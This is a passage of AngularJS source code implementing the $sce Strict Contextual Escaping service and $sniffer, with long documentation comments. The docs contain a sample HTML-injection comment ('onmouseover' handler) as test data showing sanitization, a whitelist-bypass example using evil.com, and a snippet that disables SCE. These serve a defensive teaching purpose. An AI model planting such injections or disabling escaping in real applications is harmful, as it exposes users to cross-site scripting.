13457
13458 return { trustAs: trustAs,
13459 getTrusted: getTrusted,
13460 valueOf: valueOf };
13461 }];
13462 }
13463
13464
13465 /**
13466 * @ngdoc provider
13467 * @name $sceProvider
13468 * @description
13469 *
13470 * The $sceProvider provider allows developers to configure the {@link ng.$sce $sce} service.
13471 * - enable/disable Strict Contextual Escaping (SCE) in a module
13472 * - override the default implementation with a custom delegate
13473 *
13474 * Read more about {@link ng.$sce Strict Contextual Escaping (SCE)}.
13475 */
13476
13477 /* jshint maxlen: false*/
13478
13479 /**
13480 * @ngdoc service
13481 * @name $sce
13482 * @kind function
13483 *
13484 * @description
13485 *
13486 * `$sce` is a service that provides Strict Contextual Escaping services to AngularJS.
13487 *
13488 * # Strict Contextual Escaping
13489 *
13490 * Strict Contextual Escaping (SCE) is a mode in which AngularJS requires bindings in certain
13491 * contexts to result in a value that is marked as safe to use for that context. One example of
13492 * such a context is binding arbitrary html controlled by the user via `ng-bind-html`. We refer
13493 * to these contexts as privileged or SCE contexts.
13494 *
13495 * As of version 1.2, Angular ships with SCE enabled by default.
13496 *
13497 * Note: When enabled (the default), IE8 in quirks mode is not supported. In this mode, IE8 allows
13498 * one to execute arbitrary javascript by the use of the expression() syntax. Refer
13499 * <http://blogs.msdn.com/b/ie/archive/2008/10/16/ending-expressions.aspx> to learn more about them.
13500 * You can ensure your document is in standards mode and not quirks mode by adding `<!doctype html>`
13501 * to the top of your HTML document.
13502 *
13503 * SCE assists in writing code in way that (a) is secure by default and (b) makes auditing for
13504 * security vulnerabilities such as XSS, clickjacking, etc. a lot easier.
13505 *
13506 * Here's an example of a binding in a privileged context:
13507 *
13508 * ```
13509 * <input ng-model="userHtml">
13510 * <div ng-bind-html="userHtml"></div>
13511 * ```
13512 *
13513 * Notice that `ng-bind-html` is bound to `userHtml` controlled by the user. With SCE
13514 * disabled, this application allows the user to render arbitrary HTML into the DIV.
13515 * In a more realistic example, one may be rendering user comments, blog articles, etc. via
13516 * bindings. (HTML is just one example of a context where rendering user controlled input creates
13517 * security vulnerabilities.)
13518 *
13519 * For the case of HTML, you might use a library, either on the client side, or on the server side,
13520 * to sanitize unsafe HTML before binding to the value and rendering it in the document.
13521 *
13522 * How would you ensure that every place that used these types of bindings was bound to a value that
13523 * was sanitized by your library (or returned as safe for rendering by your server?) How can you
13524 * ensure that you didn't accidentally delete the line that sanitized the value, or renamed some
13525 * properties/fields and forgot to update the binding to the sanitized value?
13526 *
13527 * To be secure by default, you want to ensure that any such bindings are disallowed unless you can
13528 * determine that something explicitly says it's safe to use a value for binding in that
13529 * context. You can then audit your code (a simple grep would do) to ensure that this is only done
13530 * for those values that you can easily tell are safe - because they were received from your server,
13531 * sanitized by your library, etc. You can organize your codebase to help with this - perhaps
13532 * allowing only the files in a specific directory to do this. Ensuring that the internal API
13533 * exposed by that code doesn't markup arbitrary values as safe then becomes a more manageable task.
13534 *
13535 * In the case of AngularJS' SCE service, one uses {@link ng.$sce#trustAs $sce.trustAs}
13536 * (and shorthand methods such as {@link ng.$sce#trustAsHtml $sce.trustAsHtml}, etc.) to
13537 * obtain values that will be accepted by SCE / privileged contexts.
13538 *
13539 *
13540 * ## How does it work?
13541 *
13542 * In privileged contexts, directives and code will bind to the result of {@link ng.$sce#getTrusted
13543 * $sce.getTrusted(context, value)} rather than to the value directly. Directives use {@link
13544 * ng.$sce#parse $sce.parseAs} rather than `$parse` to watch attribute bindings, which performs the
13545 * {@link ng.$sce#getTrusted $sce.getTrusted} behind the scenes on non-constant literals.
13546 *
13547 * As an example, {@link ng.directive:ngBindHtml ngBindHtml} uses {@link
13548 * ng.$sce#parseAsHtml $sce.parseAsHtml(binding expression)}. Here's the actual code (slightly
13549 * simplified):
13550 *
13551 * ```
13552 * var ngBindHtmlDirective = ['$sce', function($sce) {
13553 * return function(scope, element, attr) {
13554 * scope.$watch($sce.parseAsHtml(attr.ngBindHtml), function(value) {
13555 * element.html(value || '');
13556 * });
13557 * };
13558 * }];
13559 * ```
13560 *
13561 * ## Impact on loading templates
13562 *
13563 * This applies both to the {@link ng.directive:ngInclude `ng-include`} directive as well as
13564 * `templateUrl`'s specified by {@link guide/directive directives}.
13565 *
13566 * By default, Angular only loads templates from the same domain and protocol as the application
13567 * document. This is done by calling {@link ng.$sce#getTrustedResourceUrl
13568 * $sce.getTrustedResourceUrl} on the template URL. To load templates from other domains and/or
13569 * protocols, you may either either {@link ng.$sceDelegateProvider#resourceUrlWhitelist whitelist
13570 * them} or {@link ng.$sce#trustAsResourceUrl wrap it} into a trusted value.
13571 *
13572 * *Please note*:
13573 * The browser's
13574 * [Same Origin Policy](https://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy_for_XMLHttpRequest)
13575 * and [Cross-Origin Resource Sharing (CORS)](http://www.w3.org/TR/cors/)
13576 * policy apply in addition to this and may further restrict whether the template is successfully
13577 * loaded. This means that without the right CORS policy, loading templates from a different domain
13578 * won't work on all browsers. Also, loading templates from `file://` URL does not work on some
13579 * browsers.
13580 *
13581 * ## This feels like too much overhead for the developer?
13582 *
13583 * It's important to remember that SCE only applies to interpolation expressions.
13584 *
13585 * If your expressions are constant literals, they're automatically trusted and you don't need to
13586 * call `$sce.trustAs` on them (remember to include the `ngSanitize` module) (e.g.
13587 * `<div ng-bind-html="'<b>implicitly trusted</b>'"></div>`) just works.
13588 *
13589 * Additionally, `a[href]` and `img[src]` automatically sanitize their URLs and do not pass them
13590 * through {@link ng.$sce#getTrusted $sce.getTrusted}. SCE doesn't play a role here.
13591 *
13592 * The included {@link ng.$sceDelegate $sceDelegate} comes with sane defaults to allow you to load
13593 * templates in `ng-include` from your application's domain without having to even know about SCE.
13594 * It blocks loading templates from other domains or loading templates over http from an https
13595 * served document. You can change these by setting your own custom {@link
13596 * ng.$sceDelegateProvider#resourceUrlWhitelist whitelists} and {@link
13597 * ng.$sceDelegateProvider#resourceUrlBlacklist blacklists} for matching such URLs.
13598 *
13599 * This significantly reduces the overhead. It is far easier to pay the small overhead and have an
13600 * application that's secure and can be audited to verify that with much more ease than bolting
13601 * security onto an application later.
13602 *
13603 * <a name="contexts"></a>
13604 * ## What trusted context types are supported?
13605 *
13606 * | Context | Notes |
13607 * |---------------------|----------------|
13608 * | `$sce.HTML` | For HTML that's safe to source into the application. The {@link ng.directive:ngBindHtml ngBindHtml} directive uses this context for bindings. If an unsafe value is encountered and the {@link ngSanitize $sanitize} module is present this will sanitize the value instead of throwing an error. |
13609 * | `$sce.CSS` | For CSS that's safe to source into the application. Currently unused. Feel free to use it in your own directives. |
13610 * | `$sce.URL` | For URLs that are safe to follow as links. Currently unused (`<a href=` and `<img src=` sanitize their urls and don't constitute an SCE context. |
13611 * | `$sce.RESOURCE_URL` | For URLs that are not only safe to follow as links, but whose contents are also safe to include in your application. Examples include `ng-include`, `src` / `ngSrc` bindings for tags other than `IMG` (e.g. `IFRAME`, `OBJECT`, etc.) <br><br>Note that `$sce.RESOURCE_URL` makes a stronger statement about the URL than `$sce.URL` does and therefore contexts requiring values trusted for `$sce.RESOURCE_URL` can be used anywhere that values trusted for `$sce.URL` are required. |
13612 * | `$sce.JS` | For JavaScript that is safe to execute in your application's context. Currently unused. Feel free to use it in your own directives. |
13613 *
13614 * ## Format of items in {@link ng.$sceDelegateProvider#resourceUrlWhitelist resourceUrlWhitelist}/{@link ng.$sceDelegateProvider#resourceUrlBlacklist Blacklist} <a name="resourceUrlPatternItem"></a>
13615 *
13616 * Each element in these arrays must be one of the following:
13617 *
13618 * - **'self'**
13619 * - The special **string**, `'self'`, can be used to match against all URLs of the **same
13620 * domain** as the application document using the **same protocol**.
13621 * - **String** (except the special value `'self'`)
13622 * - The string is matched against the full *normalized / absolute URL* of the resource
13623 * being tested (substring matches are not good enough.)
13624 * - There are exactly **two wildcard sequences** - `*` and `**`. All other characters
13625 * match themselves.
13626 * - `*`: matches zero or more occurrences of any character other than one of the following 6
13627 * characters: '`:`', '`/`', '`.`', '`?`', '`&`' and ';'. It's a useful wildcard for use
13628 * in a whitelist.
13629 * - `**`: matches zero or more occurrences of *any* character. As such, it's not
13630 * not appropriate to use in for a scheme, domain, etc. as it would match too much. (e.g.
13631 * http://**.example.com/ would match http://evil.com/?ignore=.example.com/ and that might
13632 * not have been the intention.) Its usage at the very end of the path is ok. (e.g.
13633 * http://foo.example.com/templates/**).
13634 * - **RegExp** (*see caveat below*)
13635 * - *Caveat*: While regular expressions are powerful and offer great flexibility, their syntax
13636 * (and all the inevitable escaping) makes them *harder to maintain*. It's easy to
13637 * accidentally introduce a bug when one updates a complex expression (imho, all regexes should
13638 * have good test coverage.). For instance, the use of `.` in the regex is correct only in a
13639 * small number of cases. A `.` character in the regex used when matching the scheme or a
13640 * subdomain could be matched against a `:` or literal `.` that was likely not intended. It
13641 * is highly recommended to use the string patterns and only fall back to regular expressions
13642 * if they as a last resort.
13643 * - The regular expression must be an instance of RegExp (i.e. not a string.) It is
13644 * matched against the **entire** *normalized / absolute URL* of the resource being tested
13645 * (even when the RegExp did not have the `^` and `$` codes.) In addition, any flags
13646 * present on the RegExp (such as multiline, global, ignoreCase) are ignored.
13647 * - If you are generating your JavaScript from some other templating engine (not
13648 * recommended, e.g. in issue [#4006](https://github.com/angular/angular.js/issues/4006)),
13649 * remember to escape your regular expression (and be aware that you might need more than
13650 * one level of escaping depending on your templating engine and the way you interpolated
13651 * the value.) Do make use of your platform's escaping mechanism as it might be good
13652 * enough before coding your own. e.g. Ruby has
13653 * [Regexp.escape(str)](http://www.ruby-doc.org/core-2.0.0/Regexp.html#method-c-escape)
13654 * and Python has [re.escape](http://docs.python.org/library/re.html#re.escape).
13655 * Javascript lacks a similar built in function for escaping. Take a look at Google
13656 * Closure library's [goog.string.regExpEscape(s)](
13657 * http://docs.closure-library.googlecode.com/git/closure_goog_string_string.js.source.html#line962).
13658 *
13659 * Refer {@link ng.$sceDelegateProvider $sceDelegateProvider} for an example.
13660 *
13661 * ## Show me an example using SCE.
13662 *
13663 * <example module="mySceApp" deps="angular-sanitize.js">
13664 * <file name="index.html">
13665 * <div ng-controller="myAppController as myCtrl">
13666 * <i ng-bind-html="myCtrl.explicitlyTrustedHtml" id="explicitlyTrustedHtml"></i><br><br>
13667 * <b>User comments</b><br>
13668 * By default, HTML that isn't explicitly trusted (e.g. Alice's comment) is sanitized when
13669 * $sanitize is available. If $sanitize isn't available, this results in an error instead of an
13670 * exploit.
13671 * <div class="well">
13672 * <div ng-repeat="userComment in myCtrl.userComments">
13673 * <b>{{userComment.name}}</b>:
13674 * <span ng-bind-html="userComment.htmlComment" class="htmlComment"></span>
13675 * <br>
13676 * </div>
13677 * </div>
13678 * </div>
13679 * </file>
13680 *
13681 * <file name="script.js">
13682 * var mySceApp = angular.module('mySceApp', ['ngSanitize']);
13683 *
13684 * mySceApp.controller("myAppController", function myAppController($http, $templateCache, $sce) {
13685 * var self = this;
13686 * $http.get("test_data.json", {cache: $templateCache}).success(function(userComments) {
13687 * self.userComments = userComments;
13688 * });
13689 * self.explicitlyTrustedHtml = $sce.trustAsHtml(
13690 * '<span onmouseover="this.textContent=&quot;Explicitly trusted HTML bypasses ' +
13691 * 'sanitization.&quot;">Hover over this text.</span>');
13692 * });
13693 * </file>
13694 *
13695 * <file name="test_data.json">
13696 * [
13697 * { "name": "Alice",
13698 * "htmlComment":
13699 * "<span onmouseover='this.textContent=\"PWN3D!\"'>Is <i>anyone</i> reading this?</span>"
13700 * },
13701 * { "name": "Bob",
13702 * "htmlComment": "<i>Yes!</i> Am I the only other one?"
13703 * }
13704 * ]
13705 * </file>
13706 *
13707 * <file name="protractor.js" type="protractor">
13708 * describe('SCE doc demo', function() {
13709 * it('should sanitize untrusted values', function() {
13710 * expect(element.all(by.css('.htmlComment')).first().getInnerHtml())
13711 * .toBe('<span>Is <i>anyone</i> reading this?</span>');
13712 * });
13713 *
13714 * it('should NOT sanitize explicitly trusted values', function() {
13715 * expect(element(by.id('explicitlyTrustedHtml')).getInnerHtml()).toBe(
13716 * '<span onmouseover="this.textContent=&quot;Explicitly trusted HTML bypasses ' +
13717 * 'sanitization.&quot;">Hover over this text.</span>');
13718 * });
13719 * });
13720 * </file>
13721 * </example>
13722 *
13723 *
13724 *
13725 * ## Can I disable SCE completely?
13726 *
13727 * Yes, you can. However, this is strongly discouraged. SCE gives you a lot of security benefits
13728 * for little coding overhead. It will be much harder to take an SCE disabled application and
13729 * either secure it on your own or enable SCE at a later stage. It might make sense to disable SCE
13730 * for cases where you have a lot of existing code that was written before SCE was introduced and
13731 * you're migrating them a module at a time.
13732 *
13733 * That said, here's how you can completely disable SCE:
13734 *
13735 * ```
13736 * angular.module('myAppWithSceDisabledmyApp', []).config(function($sceProvider) {
13737 * // Completely disable SCE. For demonstration purposes only!
13738 * // Do not use in new projects.
13739 * $sceProvider.enabled(false);
13740 * });
13741 * ```
13742 *
13743 */
13744 /* jshint maxlen: 100 */
13745
13746 function $SceProvider() {
13747 var enabled = true;
13748
13749 /**
13750 * @ngdoc method
13751 * @name $sceProvider#enabled
13752 * @kind function
13753 *
13754 * @param {boolean=} value If provided, then enables/disables SCE.
13755 * @return {boolean} true if SCE is enabled, false otherwise.
13756 *
13757 * @description
13758 * Enables/disables SCE and returns the current value.
13759 */
13760 this.enabled = function (value) {
13761 if (arguments.length) {
13762 enabled = !!value;
13763 }
13764 return enabled;
13765 };
13766
13767
13768 /* Design notes on the default implementation for SCE.
13769 *
13770 * The API contract for the SCE delegate
13771 * -------------------------------------
13772 * The SCE delegate object must provide the following 3 methods:
13773 *
13774 * - trustAs(contextEnum, value)
13775 * This method is used to tell the SCE service that the provided value is OK to use in the
13776 * contexts specified by contextEnum. It must return an object that will be accepted by
13777 * getTrusted() for a compatible contextEnum and return this value.
13778 *
13779 * - valueOf(value)
13780 * For values that were not produced by trustAs(), return them as is. For values that were
13781 * produced by trustAs(), return the corresponding input value to trustAs. Basically, if
13782 * trustAs is wrapping the given values into some type, this operation unwraps it when given
13783 * such a value.
13784 *
13785 * - getTrusted(contextEnum, value)
13786 * This function should return the a value that is safe to use in the context specified by
13787 * contextEnum or throw and exception otherwise.
13788 *
13789 * NOTE: This contract deliberately does NOT state that values returned by trustAs() must be
13790 * opaque or wrapped in some holder object. That happens to be an implementation detail. For
13791 * instance, an implementation could maintain a registry of all trusted objects by context. In
13792 * such a case, trustAs() would return the same object that was passed in. getTrusted() would
13793 * return the same object passed in if it was found in the registry under a compatible context or
13794 * throw an exception otherwise. An implementation might only wrap values some of the time based
13795 * on some criteria. getTrusted() might return a value and not throw an exception for special
13796 * constants or objects even if not wrapped. All such implementations fulfill this contract.
13797 *
13798 *
13799 * A note on the inheritance model for SCE contexts
13800 * ------------------------------------------------
13801 * I've used inheritance and made RESOURCE_URL wrapped types a subtype of URL wrapped types. This
13802 * is purely an implementation details.
13803 *
13804 * The contract is simply this:
13805 *
13806 * getTrusted($sce.RESOURCE_URL, value) succeeding implies that getTrusted($sce.URL, value)
13807 * will also succeed.
13808 *
13809 * Inheritance happens to capture this in a natural way. In some future, we
13810 * may not use inheritance anymore. That is OK because no code outside of
13811 * sce.js and sceSpecs.js would need to be aware of this detail.
13812 */
13813
13814 this.$get = ['$parse', '$sniffer', '$sceDelegate', function(
13815 $parse, $sniffer, $sceDelegate) {
13816 // Prereq: Ensure that we're not running in IE8 quirks mode. In that mode, IE allows
13817 // the "expression(javascript expression)" syntax which is insecure.
13818 if (enabled && $sniffer.msie && $sniffer.msieDocumentMode < 8) {
13819 throw $sceMinErr('iequirks',
13820 'Strict Contextual Escaping does not support Internet Explorer version < 9 in quirks ' +
13821 'mode. You can fix this by adding the text <!doctype html> to the top of your HTML ' +
13822 'document. See http://docs.angularjs.org/api/ng.$sce for more information.');
13823 }
13824
13825 var sce = shallowCopy(SCE_CONTEXTS);
13826
13827 /**
13828 * @ngdoc method
13829 * @name $sce#isEnabled
13830 * @kind function
13831 *
13832 * @return {Boolean} true if SCE is enabled, false otherwise. If you want to set the value, you
13833 * have to do it at module config time on {@link ng.$sceProvider $sceProvider}.
13834 *
13835 * @description
13836 * Returns a boolean indicating if SCE is enabled.
13837 */
13838 sce.isEnabled = function () {
13839 return enabled;
13840 };
13841 sce.trustAs = $sceDelegate.trustAs;
13842 sce.getTrusted = $sceDelegate.getTrusted;
13843 sce.valueOf = $sceDelegate.valueOf;
13844
13845 if (!enabled) {
13846 sce.trustAs = sce.getTrusted = function(type, value) { return value; };
13847 sce.valueOf = identity;
13848 }
13849
13850 /**
13851 * @ngdoc method
13852 * @name $sce#parseAs
13853 *
13854 * @description
13855 * Converts Angular {@link guide/expression expression} into a function. This is like {@link
13856 * ng.$parse $parse} and is identical when the expression is a literal constant. Otherwise, it
13857 * wraps the expression in a call to {@link ng.$sce#getTrusted $sce.getTrusted(*type*,
13858 * *result*)}
13859 *
13860 * @param {string} type The kind of SCE context in which this result will be used.
13861 * @param {string} expression String expression to compile.
13862 * @returns {function(context, locals)} a function which represents the compiled expression:
13863 *
13864 * * `context` – `{object}` – an object against which any expressions embedded in the strings
13865 * are evaluated against (typically a scope object).
13866 * * `locals` – `{object=}` – local variables context object, useful for overriding values in
13867 * `context`.
13868 */
13869 sce.parseAs = function sceParseAs(type, expr) {
13870 var parsed = $parse(expr);
13871 if (parsed.literal && parsed.constant) {
13872 return parsed;
13873 } else {
13874 return function sceParseAsTrusted(self, locals) {
13875 return sce.getTrusted(type, parsed(self, locals));
13876 };
13877 }
13878 };
13879
13880 /**
13881 * @ngdoc method
13882 * @name $sce#trustAs
13883 *
13884 * @description
13885 * Delegates to {@link ng.$sceDelegate#trustAs `$sceDelegate.trustAs`}. As such,
13886 * returns an object that is trusted by angular for use in specified strict contextual
13887 * escaping contexts (such as ng-bind-html, ng-include, any src attribute
13888 * interpolation, any dom event binding attribute interpolation such as for onclick, etc.)
13889 * that uses the provided value. See * {@link ng.$sce $sce} for enabling strict contextual
13890 * escaping.
13891 *
13892 * @param {string} type The kind of context in which this value is safe for use. e.g. url,
13893 * resource_url, html, js and css.
13894 * @param {*} value The value that that should be considered trusted/safe.
13895 * @returns {*} A value that can be used to stand in for the provided `value` in places
13896 * where Angular expects a $sce.trustAs() return value.
13897 */
13898
13899 /**
13900 * @ngdoc method
13901 * @name $sce#trustAsHtml
13902 *
13903 * @description
13904 * Shorthand method. `$sce.trustAsHtml(value)` →
13905 * {@link ng.$sceDelegate#trustAs `$sceDelegate.trustAs($sce.HTML, value)`}
13906 *
13907 * @param {*} value The value to trustAs.
13908 * @returns {*} An object that can be passed to {@link ng.$sce#getTrustedHtml
13909 * $sce.getTrustedHtml(value)} to obtain the original value. (privileged directives
13910 * only accept expressions that are either literal constants or are the
13911 * return value of {@link ng.$sce#trustAs $sce.trustAs}.)
13912 */
13913
13914 /**
13915 * @ngdoc method
13916 * @name $sce#trustAsUrl
13917 *
13918 * @description
13919 * Shorthand method. `$sce.trustAsUrl(value)` →
13920 * {@link ng.$sceDelegate#trustAs `$sceDelegate.trustAs($sce.URL, value)`}
13921 *
13922 * @param {*} value The value to trustAs.
13923 * @returns {*} An object that can be passed to {@link ng.$sce#getTrustedUrl
13924 * $sce.getTrustedUrl(value)} to obtain the original value. (privileged directives
13925 * only accept expressions that are either literal constants or are the
13926 * return value of {@link ng.$sce#trustAs $sce.trustAs}.)
13927 */
13928
13929 /**
13930 * @ngdoc method
13931 * @name $sce#trustAsResourceUrl
13932 *
13933 * @description
13934 * Shorthand method. `$sce.trustAsResourceUrl(value)` →
13935 * {@link ng.$sceDelegate#trustAs `$sceDelegate.trustAs($sce.RESOURCE_URL, value)`}
13936 *
13937 * @param {*} value The value to trustAs.
13938 * @returns {*} An object that can be passed to {@link ng.$sce#getTrustedResourceUrl
13939 * $sce.getTrustedResourceUrl(value)} to obtain the original value. (privileged directives
13940 * only accept expressions that are either literal constants or are the return
13941 * value of {@link ng.$sce#trustAs $sce.trustAs}.)
13942 */
13943
13944 /**
13945 * @ngdoc method
13946 * @name $sce#trustAsJs
13947 *
13948 * @description
13949 * Shorthand method. `$sce.trustAsJs(value)` →
13950 * {@link ng.$sceDelegate#trustAs `$sceDelegate.trustAs($sce.JS, value)`}
13951 *
13952 * @param {*} value The value to trustAs.
13953 * @returns {*} An object that can be passed to {@link ng.$sce#getTrustedJs
13954 * $sce.getTrustedJs(value)} to obtain the original value. (privileged directives
13955 * only accept expressions that are either literal constants or are the
13956 * return value of {@link ng.$sce#trustAs $sce.trustAs}.)
13957 */
13958
13959 /**
13960 * @ngdoc method
13961 * @name $sce#getTrusted
13962 *
13963 * @description
13964 * Delegates to {@link ng.$sceDelegate#getTrusted `$sceDelegate.getTrusted`}. As such,
13965 * takes the result of a {@link ng.$sce#trustAs `$sce.trustAs`}() call and returns the
13966 * originally supplied value if the queried context type is a supertype of the created type.
13967 * If this condition isn't satisfied, throws an exception.
13968 *
13969 * @param {string} type The kind of context in which this value is to be used.
13970 * @param {*} maybeTrusted The result of a prior {@link ng.$sce#trustAs `$sce.trustAs`}
13971 * call.
13972 * @returns {*} The value the was originally provided to
13973 * {@link ng.$sce#trustAs `$sce.trustAs`} if valid in this context.
13974 * Otherwise, throws an exception.
13975 */
13976
13977 /**
13978 * @ngdoc method
13979 * @name $sce#getTrustedHtml
13980 *
13981 * @description
13982 * Shorthand method. `$sce.getTrustedHtml(value)` →
13983 * {@link ng.$sceDelegate#getTrusted `$sceDelegate.getTrusted($sce.HTML, value)`}
13984 *
13985 * @param {*} value The value to pass to `$sce.getTrusted`.
13986 * @returns {*} The return value of `$sce.getTrusted($sce.HTML, value)`
13987 */
13988
13989 /**
13990 * @ngdoc method
13991 * @name $sce#getTrustedCss
13992 *
13993 * @description
13994 * Shorthand method. `$sce.getTrustedCss(value)` →
13995 * {@link ng.$sceDelegate#getTrusted `$sceDelegate.getTrusted($sce.CSS, value)`}
13996 *
13997 * @param {*} value The value to pass to `$sce.getTrusted`.
13998 * @returns {*} The return value of `$sce.getTrusted($sce.CSS, value)`
13999 */
14000
14001 /**
14002 * @ngdoc method
14003 * @name $sce#getTrustedUrl
14004 *
14005 * @description
14006 * Shorthand method. `$sce.getTrustedUrl(value)` →
14007 * {@link ng.$sceDelegate#getTrusted `$sceDelegate.getTrusted($sce.URL, value)`}
14008 *
14009 * @param {*} value The value to pass to `$sce.getTrusted`.
14010 * @returns {*} The return value of `$sce.getTrusted($sce.URL, value)`
14011 */
14012
14013 /**
14014 * @ngdoc method
14015 * @name $sce#getTrustedResourceUrl
14016 *
14017 * @description
14018 * Shorthand method. `$sce.getTrustedResourceUrl(value)` →
14019 * {@link ng.$sceDelegate#getTrusted `$sceDelegate.getTrusted($sce.RESOURCE_URL, value)`}
14020 *
14021 * @param {*} value The value to pass to `$sceDelegate.getTrusted`.
14022 * @returns {*} The return value of `$sce.getTrusted($sce.RESOURCE_URL, value)`
14023 */
14024
14025 /**
14026 * @ngdoc method
14027 * @name $sce#getTrustedJs
14028 *
14029 * @description
14030 * Shorthand method. `$sce.getTrustedJs(value)` →
14031 * {@link ng.$sceDelegate#getTrusted `$sceDelegate.getTrusted($sce.JS, value)`}
14032 *
14033 * @param {*} value The value to pass to `$sce.getTrusted`.
14034 * @returns {*} The return value of `$sce.getTrusted($sce.JS, value)`
14035 */
14036
14037 /**
14038 * @ngdoc method
14039 * @name $sce#parseAsHtml
14040 *
14041 * @description
14042 * Shorthand method. `$sce.parseAsHtml(expression string)` →
14043 * {@link ng.$sce#parse `$sce.parseAs($sce.HTML, value)`}
14044 *
14045 * @param {string} expression String expression to compile.
14046 * @returns {function(context, locals)} a function which represents the compiled expression:
14047 *
14048 * * `context` – `{object}` – an object against which any expressions embedded in the strings
14049 * are evaluated against (typically a scope object).
14050 * * `locals` – `{object=}` – local variables context object, useful for overriding values in
14051 * `context`.
14052 */
14053
14054 /**
14055 * @ngdoc method
14056 * @name $sce#parseAsCss
14057 *
14058 * @description
14059 * Shorthand method. `$sce.parseAsCss(value)` →
14060 * {@link ng.$sce#parse `$sce.parseAs($sce.CSS, value)`}
14061 *
14062 * @param {string} expression String expression to compile.
14063 * @returns {function(context, locals)} a function which represents the compiled expression:
14064 *
14065 * * `context` – `{object}` – an object against which any expressions embedded in the strings
14066 * are evaluated against (typically a scope object).
14067 * * `locals` – `{object=}` – local variables context object, useful for overriding values in
14068 * `context`.
14069 */
14070
14071 /**
14072 * @ngdoc method
14073 * @name $sce#parseAsUrl
14074 *
14075 * @description
14076 * Shorthand method. `$sce.parseAsUrl(value)` →
14077 * {@link ng.$sce#parse `$sce.parseAs($sce.URL, value)`}
14078 *
14079 * @param {string} expression String expression to compile.
14080 * @returns {function(context, locals)} a function which represents the compiled expression:
14081 *
14082 * * `context` – `{object}` – an object against which any expressions embedded in the strings
14083 * are evaluated against (typically a scope object).
14084 * * `locals` – `{object=}` – local variables context object, useful for overriding values in
14085 * `context`.
14086 */
14087
14088 /**
14089 * @ngdoc method
14090 * @name $sce#parseAsResourceUrl
14091 *
14092 * @description
14093 * Shorthand method. `$sce.parseAsResourceUrl(value)` →
14094 * {@link ng.$sce#parse `$sce.parseAs($sce.RESOURCE_URL, value)`}
14095 *
14096 * @param {string} expression String expression to compile.
14097 * @returns {function(context, locals)} a function which represents the compiled expression:
14098 *
14099 * * `context` – `{object}` – an object against which any expressions embedded in the strings
14100 * are evaluated against (typically a scope object).
14101 * * `locals` – `{object=}` – local variables context object, useful for overriding values in
14102 * `context`.
14103 */
14104
14105 /**
14106 * @ngdoc method
14107 * @name $sce#parseAsJs
14108 *
14109 * @description
14110 * Shorthand method. `$sce.parseAsJs(value)` →
14111 * {@link ng.$sce#parse `$sce.parseAs($sce.JS, value)`}
14112 *
14113 * @param {string} expression String expression to compile.
14114 * @returns {function(context, locals)} a function which represents the compiled expression:
14115 *
14116 * * `context` – `{object}` – an object against which any expressions embedded in the strings
14117 * are evaluated against (typically a scope object).
14118 * * `locals` – `{object=}` – local variables context object, useful for overriding values in
14119 * `context`.
14120 */
14121
14122 // Shorthand delegations.
14123 var parse = sce.parseAs,
14124 getTrusted = sce.getTrusted,
14125 trustAs = sce.trustAs;
14126
14127 forEach(SCE_CONTEXTS, function (enumValue, name) {
14128 var lName = lowercase(name);
14129 sce[camelCase("parse_as_" + lName)] = function (expr) {
14130 return parse(enumValue, expr);
14131 };
14132 sce[camelCase("get_trusted_" + lName)] = function (value) {
14133 return getTrusted(enumValue, value);
14134 };
14135 sce[camelCase("trust_as_" + lName)] = function (value) {
14136 return trustAs(enumValue, value);
14137 };
14138 });
14139
14140 return sce;
14141 }];
14142 }
14143
14144 /**
14145 * !!! This is an undocumented "private" service !!!
14146 *
14147 * @name $sniffer
14148 * @requires $window
14149 * @requires $document
14150 *
14151 * @property {boolean} history Does the browser support html5 history api ?
14152 * @property {boolean} hashchange Does the browser support hashchange event ?
14153 * @property {boolean} transitions Does the browser support CSS transition events ?
14154 * @property {boolean} animations Does the browser support CSS animation events ?
14155 *
14156 * @description
14157 * This is very simple implementation of testing browser's features.
14158 */
14159 function $SnifferProvider() {
14160 this.$get = ['$window', '$document', function($window, $document) {
14161 var eventSupport = {},
14162 android =
14163 int((/android (\d+)/.exec(lowercase(($window.navigator || {}).userAgent)) || [])[1]),
14164 boxee = /Boxee/i.test(($window.navigator || {}).userAgent),
14165 document = $document[0] || {},
14166 documentMode = document.documentMode,
14167 vendorPrefix,
14168 vendorRegex = /^(Moz|webkit|O|ms)(?=[A-Z])/,
14169 bodyStyle = document.body && document.body.style,
14170 transitions = false,
14171 animations = false,
14172 match;
14173
14174 if (bodyStyle) {
14175 for(var prop in bodyStyle) {
14176 if(match = vendorRegex.exec(prop)) {
14177 vendorPrefix = match[0];
14178 vendorPrefix = vendorPrefix.substr(0, 1).toUpperCase() + vendorPrefix.substr(1);
14179 break;
14180 }
14181 }
14182
14183 if(!vendorPrefix) {
14184 vendorPrefix = ('WebkitOpacity' in bodyStyle) && 'webkit';
14185 }
14186
14187 transitions = !!(('transition' in bodyStyle) || (vendorPrefix + 'Transition' in bodyStyle));
14188 animations = !!(('animation' in bodyStyle) || (vendorPrefix + 'Animation' in bodyStyle));
14189
14190 if (android && (!transitions||!animations)) {
14191 transitions = isString(document.body.style.webkitTransition);
14192 animations = isString(document.body.style.webkitAnimation);
14193 }
14194 }
14195
14196
14197 return {
14198 // Android has history.pushState, but it does not update location correctly
14199 // so let's not use the history API at all.
14200 // http://code.google.com/p/android/issues/detail?id=17471
14201 // https://github.com/angular/angular.js/issues/904
14202
14203 // older webkit browser (533.9) on Boxee box has exactly the same problem as Android has
14204 // so let's not use the history API also
14205 // We are purposefully using `!(android < 4)` to cover the case when `android` is undefined
14206 // jshint -W018
14207 history: !!($window.history && $window.history.pushState && !(android < 4) && !boxee),
14208 // jshint +W018
14209 hashchange: 'onhashchange' in $window &&
14210 // IE8 compatible mode lies
14211 (!documentMode || documentMode > 7),
14212 hasEvent: function(event) {
14213 // IE9 implements 'input' event it's so fubared that we rather pretend that it doesn't have
14214 // it. In particular the event is not fired when backspace or delete key are pressed or
14215 // when cut operation is performed.
14216 if (event == 'input' && msie == 9) return false;
14217
14218 if (isUndefined(eventSupport[event])) {
14219 var divElm = document.createElement('div');
14220 eventSupport[event] = 'on' + event in divElm;
14221 }
14222
14223 return eventSupport[event];
14224 },
14225 csp: csp(),
14226 vendorPrefix: vendorPrefix,
14227 transitions : transitions,
14228 animations : animations,
14229 android: android,
14230 msie : msie,
14231 msieDocumentMode: documentMode
14232 };
14233 }];
14234 }
14235
14236 function $TimeoutProvider() {
14237 this.$get = ['$rootScope', '$browser', '$q', '$exceptionHandler',
14238 function($rootScope, $browser, $q, $exceptionHandler) {
14239 var deferreds = {};
14240
14241
14242 /**
14243 * @ngdoc service
14244 * @name $timeout
